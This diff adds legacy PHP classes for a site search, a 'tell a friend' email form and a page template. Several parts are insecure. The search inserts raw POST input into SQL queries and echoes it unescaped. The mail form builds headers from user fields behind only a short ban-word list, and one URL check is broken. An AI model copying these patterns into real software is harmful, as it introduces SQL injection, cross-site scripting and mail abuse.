+ * @since $Date: 2006/05/01 16:46:16 $
+ */
+class search{
+ /** @var -*/
+ var $parentshow; // array containting the catids and parentids
+ /** @var pages */
+ var $pages;
+ /** @var eventquery */
+ var $eventquery;
+ /** @var bussyquery */
+ var $bussyquery;
+ /** @var newsyquery */
+ var $newsyquery;
+ /** @var sr */
+ var $sr;
+ /** @var p */
+ var $p;
+ /** @var results */
+ var $results;
+ /** @var threads */
+ var $threads;
+ var $type;
+
+ /** search
+ constructor function
+ @param none
+ @returns none
+ */
+ function search()
+ {
+ $this->newsyquery = "";
+ $this->bussyquery = "";
+ $this->eventquery = "";
+ $this->pages = array();
+ $this->parentshow = array();
+ $this->type = "general";
+ }
+
+ /** set_events
+ Sets up the query for the event search
+ @param none
+ @returns none
+ */
+ function set_events()
+ {
+ $eventf[] = "e.header".$this->sr;
+ $eventf[] = "e.descr".$this->sr;
+ $eventf[] = "e.loc".$this->sr;
+ $eventf[] = "e.contact".$this->sr;
+ $this->eventquery = "SELECT e.*
+ FROM event e
+ WHERE ";
+ $eevent = implode(" OR ",$eventf);
+ $this->eventquery .= $eevent;
+ }
+
+ /** set_bus
+ Sets the query for the business_listing db search
+ @param none
+ @returns none
+ */
+ function set_bus()
+ {
+ $busf[] = "b.name".$this->sr;
+ $busf[] = "b.description".$this->sr;
+ $busf[] = "b.city".$this->sr;
+ $busf[] = "b.state".$this->sr;
+ $busf[] = "b.zip".$this->sr;
+ $busf[] = "b.phone".$this->sr;
+ $busf[] = "b.fax".$this->sr;
+ $busf[] = "b.email".$this->sr;
+ $buscatf[] = "bc.category".$this->sr;
+ $buscatf[] = "bc.description".$this->sr;
+ $buscatf[] = "bc.intro".$this->sr;
+ $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+ FROM (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id))
+ LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+ WHERE (";
+ $ebus = implode(" OR ",$busf);
+ $ebuscat = implode(" OR ",$buscatf);
+ $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+ }
+
+ /** set_news
+ Sets the newsletter query for the search
+ @param none
+ @returns none
+ */
+ function set_news()
+ {
+ $newsf[] = "n.title".$this->sr;
+ $newsf[] = "n.header".$this->sr;
+ $newsf[] = "n.description".$this->sr;
+ $newsblockf[] = "nb.header".$this->sr;
+ $newsblockf[] = "nb.description".$this->sr;
+ $this->newsyquery = "SELECT n.*, nb.*
+ FROM news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id)
+ WHERE ";
+
+ $enews = implode(" OR ",$newsf);
+ $enewsblock = implode(" OR ",$newsblockf);
+ $this->newsyquery .= $enews." OR ".$enewsblock;
+ }
+
+ /** set_query
+ calls the queries for events,bus,and the newsletter
+ @param none
+ @returns none
+ */
+ function set_queries()
+ {
+ $this->set_events();
+ $this->set_bus();
+ $this->set_news();
+ }
+
+ /** posted
+ Sets sr variable with the POST var search
+ @param none
+ @returns none
+ */
+ function posted()
+ {
+ if($_POST && $_POST["search"])
+ {
+ //$this->show_form();
+ if($_POST["search"])
+ $this->sr = " ~* '".$_POST["search"]."'";
+ $this->set_queries();
+ $this->execute_search();
+ }
+ else
+ {
+ //$this->show_form();
+ }
+ }
+
+ /** show_form
+ Outputs the form for the search
+ @param none
+ @returns none
+ */
+ function show_form()
+ {
+ ?>
+ <script src="verify.js"></script>
+ <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+ this.search.optional = false;
+ this.search.r = 'Search Field';
+ return(verify(this));
+ ">
+ <select name="type">
+ <?
+ //$type[] = "Events";
+ //$type[] = "Categories";
+ //$type[] = "Newsletter";
+ //$general = 0;
+ foreach($this->pages as $key=>$data)
+ {
+ if(!is_numeric($key))
+ {
+ echo "<option value=\"$key\">".ucfirst($key);
+ }
+ else
+ {
+ $general = 1;
+ }
+ }
+ if($general)
+ echo "<option value=\"general\">General Categories";
+ ?>
+ </select>
+ <input name="search">
+ <input type="submit" name="Command" value="Search">
+ </form>
+ <?
+ }
+
+ /** execute_search
+ Sends the queries to to database
+ @param none
+ @returns none
+ */
+ function execute_search()
+ {
+ extract($_POST);
+ $qs = "";
+ switch($this->type)
+ {
+ case "events"://Events
+ $qs = $this->eventquery;
+ $qs .= " AND edate > CURRENT_DATE";
+ $href = $this->pages["events"];
+ break;
+
+ case "general"://General
+ $qs = $this->bussyquery;
+ break;
+
+ case "newsletter"://Library
+ $qs = $this->newsyquery;
+ $href = $this->pages["newsletter"];
+ break;
+
+ default:
+ html_error("All",1);
+ break;
+ }
+
+ //echo $qs;
+ $this->result = db_auto_get_data($qs,CONN_STR);
+ if($this->result != "")
+ {
+ echo "<div class=\"bodytext\"> Found ".count($this->result);
+ if(count($this->result)>1)
+ echo " matches for \"".$search."\"";
+ else
+ echo " match for \"".$search."\"";
+ echo "</div><br>";
+ }
+ else
+ {
+ echo "<div class=\"bodytext\"> No Matches</div>";
+ }
+ if($this->type == "general")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ $this->threads[] = array(
+ "ID" => $data[catid],
+ "content" => $data[category],
+ "parent" => $data[parent]
+ );
+ }
+ }
+ }
+ elseif($this->type == "events")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);
+ }
+ }
+ }
+ elseif($this->type == "newsletter")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);
+ }
+ }
+ }
+
+ if(is_array($this->threads))
+ {
+ $this->get_parentshow();
+ $output = $this->printout($this->threads);
+ echo $output;
+ }
+ }
+
+ /** get_parent
+ Finds the parent. Will traverse up until it reaches top of
+ chain.
+ @param id - The catid to find parent of
+ @returns Parent - The parent id
+ */
+ function get_parent($id)
+ {
+ if($id == 0)
+ return(0);
+ if($this->parentshow[$id]['parent'] != "")
+ {
+
+ $test = $this->parentshow[$id]['parent'];
+ if($test === 0)
+ {
+ return($id);
+ }
+ else
+ {
+ $id = $this->get_parent($test);
+ }
+ if($id == 0)
+ return($test);
+ return($id);
+ }
+ return($id);
+ }
+
+ /** get_parentshow
+ Sets the array parentshow with all categories.
+ @param none
+ @returns none
+ */
+ function get_parentshow()
+ {
+ $qs = "SELECT id,parent,category
+ FROM bus_category";
+
+ $parentrow = db_auto_get_data($qs,CONN_STR);
+
+ foreach($parentrow as $key=>$value)
+ {
+ $this->parentshow[$value[id]] = $value[parent];
+ }
+ }
+
+ /** printout
+ Print the results out as links to their pages.
+ @param none
+ @returns none
+ */
+ function printout()
+ {
+ if(is_array($this->threads))
+ {
+ foreach($this->threads as $key=>$value)
+ {
+ $p = $this->get_parent($value[ID]);
+ if($p!=1)
+ {
+ $string .= "<a class=\"link2\"
+ href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+ }
+ else
+ {
+ $string .= "<a class=\"link2\"
+ href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+ }
+ }
+ echo $string;
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+ * Toolbox Classes
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them. If you set them their they will be like
+ * defines and cannot be changed. Setup in constructor function then there's no problem.
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @filesource
+*/
+/**
+* Include DocBlock
+*/
+require_once("class_db.inc");
+/**
+* Include DocBlock
+*/
+require_once("class_toolbox.inc");
+/**
+* Include DocBlock
+*/
+require_once("class_contact_form.inc");
+/**
+ * tell_friend
+ * <p>
+ * Update on the tellfriend script this one now uses the contact_form class
+ * entends it and creates new class called tell_friend.
+ * That way it has the ability of the form display function built in to it.
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @license
+ */
+class tell_friend extends contact_form {
+
+ /**
+ * contact_form
+ *
+ * @access public
+ * @return void
+ */
+ function contact_form()
+ {
+ $this->CDB =& new GLM_DB(); // creates DB object
+ $this->set_DB_fields(); // set up the DB_fields array (configuration)
+ $this->set_int_array(); // interest array
+ $this->email = OWNER_EMAIL; // email address for mail function
+ $this->table_name = 'contact'; // the contact table
+ $this->styleLabel = "labelcell"; // css style for the labelcell
+ $this->fieldcell = "fieldcell"; // css style for the field input
+ $this->instructioncell = "instructioncell"; // css style for the field input
+ $this->submit_value = 'Send Email';
+ $this->subject = 'Tell a friend ';
+ $this->contact_db = 1; // if they have contact database or not
+ $this->get_form(); // the whole thing runs upon class creation
+ }
+
+ /**
+ * get_form: one function to rule them all
+ *
+ * @return void
+ * @access public
+ **/
+ function get_form()
+ {
+ if( $_POST )
+ {
+ if( $error = $this->form_process() )
+ {
+ echo '<div id="form-warning-top">Warning: The form was not sent, please review the errors below.</div>';
+ echo $this->display_form( $error );
+ }
+ }
+ else
+ {
+ echo $this->display_form();
+ }
+ }
+
+ /**
+ * set_DB_fields:
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB_fields()
+ {
+ $DB_fields[]=array('name'=>'friend_name', 'title'=>'Friends Name:', 'type' => 'text', 'req' => 1,'inst'=>'You need to enter Friends Name');
+ $DB_fields[]=array('name'=>'friend_email', 'title'=>'Friends Email:', 'type' => 'text', 'req' => 1,'inst'=>'You need to enter a valid email address');
+ $DB_fields[]=array('name'=>'message', 'title' =>'Message To Friend:', 'type' => 'desc');
+ $DB_fields[]=array('name'=>'your_lname', 'title'=>'Your Name:', 'type' => 'text', 'req' => 1,'inst'=>'You need to enter your name');
+ $DB_fields[]=array('name'=>'your_email', 'title'=>'Your Email:', 'type' => 'text', 'req' => 1,'inst'=>'You need to enter a valid email address');
+ $this->DB_fields = &$DB_fields;
+ }
+
+ /**
+ * form_process: process the form checking for any required form values as set up in the
+ * and send the email if the emails are valid.
+ * DB_fields array.
+ *
+ * @return error array if bad
+ * @access public
+ **/
+ function form_process()
+ {
+ $ban_words[] = "content-type";
+ $ban_words[] = "content-transfer-encoding";
+ $ban_words[] = "mime-version";
+ $ban_words[] = "cc\:";
+ $ban_words[] = "bcc\:";
+
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ if( !is_array( $v ))
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+
+ foreach($ban_words as $k => $word)
+ {
+ $wordstr = "/$word/i";
+ if(preg_match($wordstr,$v))
+ {
+ // let's unset the $_POST array
+ foreach( $_POST as $key => $val )
+ {
+ $_POST[$key] = '';
+ }
+ // if we matched, return.
+ return( true );
+ }
+ }
+ }
+ }
+ if( !GLM_TOOLBOX::valid_email( $_POST['friend_email'] ) )
+ {
+ $error['friend_email'] = 1;
+ }
+ if( !GLM_TOOLBOX::valid_email( $_POST['your_email'] ) )
+ {
+ $error['your_email'] = 1;
+ }
+ foreach( $this->DB_fields as $value )
+ {
+ if( $value['req'] == 1 && $_POST[$value['name']] == '' )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+
+ if(count($error) > 0)
+ {
+ return($error);
+ }
+ // adding comments again
+ //mail the contact info to mail address.
+ $body = '
+ <html>
+ <style type="text/css">
+ <!--
+ body { background-color: #fff;
+ color: black;
+ font-family: verdana, arial, helvetica, sans-serif;
+ }
+ h1, h2 {font-family: arial, helvetica, sans-serif;}
+ h1 {font-size: 18px; }
+ h2 {font-size: 16px; margin-bottom: 5px;}
+ p {font-size: 12px;}
+ .label {
+ font-weight: bold;
+ background-color: transparent;
+ text-align: right;
+ width: 200px;
+ padding: 5px;
+ }
+ .field {
+ //background-color: #F2F7FB;
+ background-color: #fff;
+ padding: 3px;
+ }
+ table.data {
+ //background-color: #F9FBFD;
+ background-color: #fff;
+ color: #000;
+ width: 500px;
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ border-collapse: collapse;
+ margin-left: 20px;
+ }
+ table.data td {
+ //border: 1px solid #D7E5F2;
+ border: 1px solid #ccc;
+ padding-left: 4px;
+ font-size: 12px;
+ }
+ -->
+</style><body>
+
+<p>Dear '.$_POST["friend_name"].'</p>
+<p>Your friend '.$_POST["your_lname"].' has been to http://www.4drinkspecials.com, and thought you might be interested in it. </p>
+<p>Message From '.$_POST["your_lname"].'</p>
+<p>
+'.$_POST['message'].'
+</p>
+ ';
+ $headers = "From: ".$_POST[friend_name]." <".$_POST[your_email].">\n"
+ . "Reply-To: ".$_POST[friend_name]." <".$_POST[your_email].">\n"
+ . "MIME-Version: 1.0\n"
+ . "Content-type: text/html; charset=iso-8859-1";
+
+ $body .= '
+<div> </div><br clear="all">
+</body>
+</html>
+';
+ mail($_POST[friend_email],'Message From '.$_POST["your_lname"],$body,$headers);
+ echo '<div style="font-size:14px; margin: 20px;">Thank You, your message is sent.</div>';
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+ * Toolbox Classes :)
+ *
+ * <p>
+ * $Id: class_template.inc,v 1.13 2011/04/28 14:52:49 matrix Exp $
+ * NOTE: for the search engine freindly url's use .htaccess file.
+ * need to make sure .htaccess is enabled or this work work
+ * to turn off seo url's set define SEO_URL to 0 in setup file
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @filesource
+ *
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_db.inc");
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_toolbox.inc");
+/**
+ * Template Class :)
+ *
+ * <p>
+ * $Id: class_template.inc,v 1.13 2011/04/28 14:52:49 matrix Exp $
+ * NOTE: for the search engine freindly url's use .htaccess file.
+ * need to make sure .htaccess is enabled or this work work
+ * to turn off seo url's set define SEO_URL to 0 in setup file
+ * </p>
+ * <code>
+ * .htaccess -> example follows:
+ * Options +FollowSymLinks
+ * ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+ * RewriteEngine On
+ * RewriteBase /
+ * RewriteCond %{HTTP_HOST} !^(.*)\.????\.com$ [NC]
+ * RewriteRule ^(.*)$ http://www.????.com/$1 [R=301,L]
+ * RewriteRule ^.*-([0-9]*)/$ index\.php?catid=$1
+ * RewriteRule site-map sitemap.php
+ * </code>
+ * <p>For the page title and meta tags make a $title and $meta vars depending on
+ * weather or not it is the home page.</p>
+ * <code>
+ * if($catid == 1)
+ * {
+ * // title and meta description for home page only
+ * $title = '';
+ * $meta = '';
+ * }
+ * else
+ * {
+ * $title = $toolbox->title().' - Site Name';
+ * $meta = $toolbox->meta();
+ * }
+ * <title><?php echo $title;?></title>
+ * <meta name="description" content="<?php echo $meta;?>">
+ * </code>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @category Template
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2005
+ * @version $Revision: 1.13 $
+ * @since $Date: 2011/04/28 14:52:49 $
+ *
+ * @todo update the phpdocs for all classes
+ * @todo add title for all the navigation links if and only if they have page title
+ * @todo some tutorial in the docs for how to set things up.
+ */
+class GLM_TEMPLATE{
+
+ /** @var string header_begin The style starting for header */
+ var $header_begin;
+ /** @var string header_end The style ending for header*/
+ var $header_end;
+ /** @var string subheader_begin The style starting for header */
+ var $subheader_begin;
+ /** @var string subheader_end The style ending for header*/
+ var $subheader_end;
+ /** @var string img_align The alignment of images*/
+ var $img_align;
+ /** @var string img_alternate 1 alternate images 0 not*/
+ var $img_alternate;
+ /** @var string img_size The path to the image directory*/
+ var $img_size;
+ /** @var object DB The database class*/
+ var $DB;
+ /** @var array data The category array*/
+ var $data;
+ /** @var array items The items array*/
+ var $items;
+ /** @var string type The type*/
+ var $type;
+ /** @var string whole_thread The thread string*/
+ var $whole_thread;
+ /** @var integer thread_count The thread count*/
+ var $thread_count;
+ /** @var integer catid catid for the page */
+ var $catid;
+ /** @var array $pages */
+ var $pages;
+ /** @var string $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+ var $active_query;
+ /** @var integer $template integer determines page layout */
+ var $template;
+ /** @var string $php_ext pgae extension for php pages .php or .phtml */
+ /**
+ * Member
+ *
+ * @var mixed
+ * @access public
+ */
+ var $Member;
+
+ /**
+ * GLM_TEMPLATE:Contsructor of the class
+ * This function is run on intialization.
+ * Any setup vars should be overwritten by creating a new class
+ * that extends this one and setting new vars in the constructor.
+ *
+ * @param integer $catid: catid Must be set
+ * @uses GLM_DB
+ * @example /media/homes/matrix/www/www.setup.com/index.php
+ *
+ * @return void
+ * @access public
+ **/
+ function GLM_TEMPLATE( $catid, $DB = NULL )
+ {
+ $this->catid = $this->get_catid( $catid ); // sets $this->catid
+ $this->set_DB( &$DB ); // using a reference to $DB (should be started on setup.phtml
+ $this->Member = $this->set_member();
+ $this->header_begin = "<h1>"; // class="content" should not be used anymore
+ $this->header_end = "</h1>"; // create style for p h1 h2 tags if needed try to keep it clean
+ $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+ $this->subheader_end = "</h2>"; // like your suppose to
+ $this->img_alternate = 1; // for alternating images set to 1 else leave alone
+ $this->img_align = "left"; // the starting postion for images change to left if needed
+ $this->img_size = RESIZED; // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+ $this->whole_thread = ""; // do not touch this it is used for menu generation
+ $this->thread_count = 1; // also used for menu generation
+ $this->php_ext = '.php'; // defaults to .php
+ $this->set_pages( &$GLOBALS['PAGES'] );
+ $this->set_active_query(); // set active query string
+ }
+
+ function set_member()
+ {
+ require_once(BASE.'classes/class_members.inc');
+ $Member =& new glm_members( $this );
+ return( $Member );
+ }
+
+ /**
+ * set_active_query: some toolboxes have an active flag some do not
+ * so this is to allow both with and without a flag.
+ *
+ * @uses ACTIVE_FLAG
+ *
+ * @return void
+ * @access public
+ **/
+ function set_active_query()
+ {
+ if( ACTIVE_FLAG )
+ {
+ $this->active_query = " and active = 't'";
+ }
+ return( $this->active_query );
+ }
+
+
+ /**
+ * get_hit_count: find out how many top level categories have at least one category under
+ * them.
+ * @param object &$DB : Database object
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_hit_count( &$DB )
+ {
+ $query = 'select id from bus_category where parent in ( select id from bus_category where
+ parent = 0) and parent != 0';
+ $res = $DB->db_auto_get_data( $query );
+ if( !$res )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( count( $res ) );
+ }
+ }
+
+ /**
+ * get_banner
+ * grab a random banner from the database and return img string in html
+ *
+ * @uses BASE_URL
+ * @uses BANNER_PATH
+ * @uses BANNER
+ * @uses GLM_DB::db_auto_get_data()
+ * @access public
+ * @return string
+ */
+ function get_banner()
+ {
+ $query = "select id from banner where active = 't' and edate >= current_date;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ srand((float) microtime() * 10000000);
+ $rand_key = array_rand($data);
+ $id = $data[$rand_key]['id'];
+ $query = "update banner set impressions = impressions + 1 where id = ".$id.";select id,description,image,url from banner where id = ".$id.";";
+ if( $bData = $this->DB->db_auto_get_data( $query ) )
+ {
+ $image_src = $bData[0]['image'];
+ $descr_text = htmlspecialchars(strip_tags(trim($bData[0]['description'])));
+ $descr_text = str_replace('"','',$descr_text);
+ $image = '';
+ $url = $bData[0]['url'];
+ $id = $bData[0]['id'];
+ if( is_file( BANNER_PATH.$image_src ) )
+ {
+ if( $url )
+ {
+ $image = '<a target="_blank" title="'.$descr_text.'" href="'.BASE_URL.'banner.php?id='.$id.'&url='.urlencode($url).'">';
+ }
+ $image .= '<img alt="'.$descr_text.'" src="'.BANNER.$image_src.'">';
+ if( $url )
+ {
+ $image .= '</a>';
+ }
+ }
+ return( $image );
+ }
+ }
+ }
+
+ /**
+ * get_seo_url:
+ * grab category part of the search engine friendly url
+ * looks at define for seo_url to see weather to use the seach engine friendly url's or not
+ *
+ * @param integer $id:
+ * @param boolean $slash = 1 : to put a slash on end or not
+ * @uses BASE_URL
+ * @uses SEO_URL
+ * @uses HOME_ID
+ * @uses GLM_TEMPLATE::$php_ext
+ * @uses GLM_TEMPLATE::set_name_url()
+ * @uses GLM_TEMPLATE::get_category_name()
+ * @uses GLM_TEMPLATE::get_base_url()
+ *
+ * @return string $url for page.
+ * @access public
+ **/
+ function get_seo_url( $id, $slash = 1 )
+ {
+ if( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] != 'devsys.gaslightmedia.com' )
+ {
+ return( BASE_URL );
+ }
+ elseif( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] == 'devsys.gaslightmedia.com' )
+ {
+ return( BASE_URL.'index.php' );
+ }
+// elseif( $id == 16 )
+// {
+// $url = BASE_SECURE_URL;
+// $url .= 'index.php?catid=16';
+// return( $url );
+// }
+ if( SEO_URL )
+ {
+ $url = BASE_URL;
+ $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+ $url = strip_tags( $url );
+ $url = htmlspecialchars( $url );
+ if( $slash )
+ {
+ $url .= '/';
+ }
+ }
+ else
+ {
+ $url = $this->get_base_url( $id );
+ if( $url )
+ {
+ $url = BASE_URL.$url;
+ $url .= $this->php_ext.'?catid='.$id;
+ }
+ else
+ {
+ $url = BASE_URL;
+ }
+ }
+
+ return( $url );
+ }
+ /**
+ * set_DB: set the DB up to be that of the global one if it exists
+ *
+ * @param object $DB : the DB object
+ * @uses GLM_DB
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB( $DB )
+ {
+ if( isset( $DB ) )
+ {
+ $this->DB =& $DB;
+ }
+ else
+ {
+ $this->DB =& new GLM_DB();
+ }
+ }
+
+ /**
+ * set_pages: grab the globals for the pages an use this for
+ * the pages array for the class
+ *
+ * @return void
+ * @access public
+ **/
+ function set_pages( $pages )
+ {
+ if( is_array( $pages ) )
+ {
+ $this->pages =& $pages;
+ }
+ }
+
+ /**
+ * set_catid:Set the class catid var
+ * @param integer $catid: $catid
+ *
+ * @deprecated using get_catid
+ * @return void
+ * @access public
+ **/
+ function set_catid( $catid )
+ {
+ if( is_numeric( $catid ) )
+ {
+ $this->catid = $catid;
+ }
+ else
+ {
+ $this->catid = 1;
+ }
+ }
+
+ /**
+ * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+ * @param string $PATH_INFO: GLOBAL PATH_INFO
+ * @param object &$dbd : object database
+ *
+ * @deprecated using .htaccess file for this when using seo url's
+ * @return int catid
+ * @access public
+ **/
+ function get_id_from_path_info( $PATH_INFO, &$dbd )
+ {
+ //echo "$PATH_INFO";
+ $var_array = explode( "/", $PATH_INFO );
+ if( count( $var_array ) > 0 )
+ {
+ $it=$var_array[(sizeof($var_array) - $chop)];
+ if( $it != "" && $it != "blank")
+ {
+ $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+ }
+ }
+ return( $catid );
+ }
+
+ /**
+ * get_catid: setting catid for class
+ *
+ * We should be using the $_POST or $_GET globals here
+ *
+ * @return int catid
+ * @access public
+ **/
+ function get_catid( $catid )
+ {
+ if( is_numeric( $_GET['catid'] ) )
+ {
+ return( $_GET['catid'] );
+ }
+ elseif( is_numeric( $_POST['catid'] ) )
+ {
+ return( $_POST['catid'] );
+ }
+ else
+ {
+ return( $this->catid = $catid );
+ }
+ }
+
+ /**
+ * set_contact:Set the contact string
+ * <code><p><strong>Contact Name:</strong> {$text}</p></code>
+ *
+ * @param string $text: The text as string
+ * @param string $email: email if givin
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_contact( $text, $email )
+ {
+ if( $email != "" )
+ {
+ $text = "";
+ }
+ else
+ {
+ $text = '<p><strong>Contact Name:</strong> '.$text.'</p>';
+ }
+ return($text);
+ }
+
+ /**
+ * set_text:Set the contact string
+ * @param string $text: The text as string
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_text( $text )
+ {
+ if("" == str_replace("<br />","",trim($text)))
+ {
+ return(false);
+ }
+ if( $text != "" )
+ {
+ //$text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+ $text = $this->keyword_replace( $text );
+ $text = $text;
+ }
+ return($text);
+ }
+
+ /**
+ * get_image_path: get image path from the size used
+ *
+ * @uses MIDSIZED_PATH
+ * @uses RESIZED_PATH
+ * @uses THUMB_PATH
+ *
+ * @return path for images
+ * @access public
+ **/
+ function get_image_path()
+ {
+ if( strstr($this->img_size,'midsized/') )
+ {
+ return( MIDSIZED_PATH );
+ }
+ if( strstr($this->img_size,'resized/') )
+ {
+ return( RESIZED_PATH );
+ }
+ if( strstr($this->img_size,'thumb/') )
+ {
+ return( THUMB_PATH );
+ }
+ }
+
+ /**
+ * set_img:Set the image string
+ * <p><code>
+ * <div class="image{$align}" style="width: {$width}px" src="{$size}{$image}" {$titletag}>
+ * <div class="imagecaption">{$caption}</div>
+ * </div>
+ * </code>
+ * </p>
+ *
+ * @param string $image: The image
+ * @param string $size: The path
+ * @param string $align: The alignment
+ * @param string $name: The image_name (displayed under image)
+ * @param string $alt_title text for use in alt and title tags
+ * @param string $caption Text for image caption if given
+ * @uses GLM_TEMPLATE::get_image_path()
+ *
+ * @return void
+ * @access public
+ **/
+ function set_img( $image, $size, $align, $alt_title = NULL, $caption = NULL )
+ {
+ if( $image != "" )
+ {
+ if( $caption != '' )
+ {
+ $caption = str_replace('&','&',$caption);
+ $titletag = 'title="'.htmlspecialchars(strip_tags($caption)).'"';
+ $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+ }
+ elseif( $alt_title != '')
+ {
+ $alt_title = str_replace('&','&',$alt_title);
+ $titletag = 'title="'.htmlspecialchars(strip_tags($alt_title)).'"';
+ $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+ }
+ else
+ {
+ $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+ $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+ }
+ if( $align != "" )
+ {
+ $img_align = 'class="image'.$align.'"';
+ }
+ $path = $this->get_image_path();
+ if( is_file( $path.$image ) )
+ {
+ $image_size = getimagesize( $path.$image );
+ $img_attr = $image_size[3];
+ }
+ $img = '
+ <div '.$img_align.' style="width: '.$image_size[0].'px">
+ ';
+ $img .= '<img '.$img_attr.' src="'.$size.$image.'" '.$titletag.'>';
+ if( $caption )
+ {
+ $img .= '
+ <div class="imagecaption">'.$caption.'</div>
+ ';
+ }
+ $img .= '</div>
+ ';
+ return($img);
+ }
+ }
+
+ /**
+ * set_url:Set the url string
+ * <p>
+ * <code><p><a href="http://{$url}" target="_blank">{$text}</a></code>
+ * </p>
+ *
+ * @param string $url: The url
+ * @param string $text: The text as string
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_url( $url, $text )
+ {
+ if( $url != "" )
+ {
+ if( !$text )
+ {
+ $text = $url;
+ }
+ if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+ {
+ $url = '<p><a href="'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+ }
+ else
+ {
+ $url = '<p><a href="http://'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+ }
+ }
+ return( $url );
+ }
+
+ /**
+ * set_email:Set the email string
+ * @param string $email: The email as string
+ * @param string $contact: The contactname this is used as the link text
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_email( $email, $contact )
+ {
+ if( $email != "" )
+ {
+ if( $contact != "" )
+ {
+ $email = '<strong>Contact:</strong> <a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($contact).'</a><br>';
+ }
+ else
+ {
+ $email = '<strong>Email:</strong> <a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($email).'</a><br>';
+ }
+ }
+ return( $email );
+ }
+
+ /**
+ * set_header:Set the header string
+ * @param string $text: The text as string
+ * @uses GLM_TEMPLATE::header_begin()
+ * @uses GLM_TEMPLATE::header_end()
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_header( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->header_begin.htmlspecialchars($text).$this->header_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_subheader:Set the subheader string
+ * @param string $text: The text as string
+ * @uses GLM_TEMPLATE::subheader_begin()
+ * @uses GLM_TEMPLATE::subheader_end()
+ *
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_subheader( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->subheader_begin.htmlspecialchars($text).$this->subheader_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_phone:Set the phone string
+ * @param string $text: The text as string
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_phone( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<strong>Phone:</strong> '.$text.'<br>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_fax:Set the fax string
+ * @param string $text: The text as string
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_fax( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Fax:</strong> '.htmlspecialchars($text).'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_file:Set the file string
+ * @param string $text: The text as string
+ * @param string $name: The file name displayed
+ * @uses URL_BASE
+ *
+ * @return string $text
+ * @access public
+ **/
+ function set_file( $text, $name )
+ {
+ if( $text != "" )
+ {
+ $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+ if($name)
+ {
+ $outtext .= htmlspecialchars($name);
+ }
+ else
+ {
+ $outtext .= htmlspecialchars($text);
+ }
+ $outtext .= '</a>';
+ if(ereg("[.]([a-zA-Z]{3}$)",$text,$tmp))
+ {
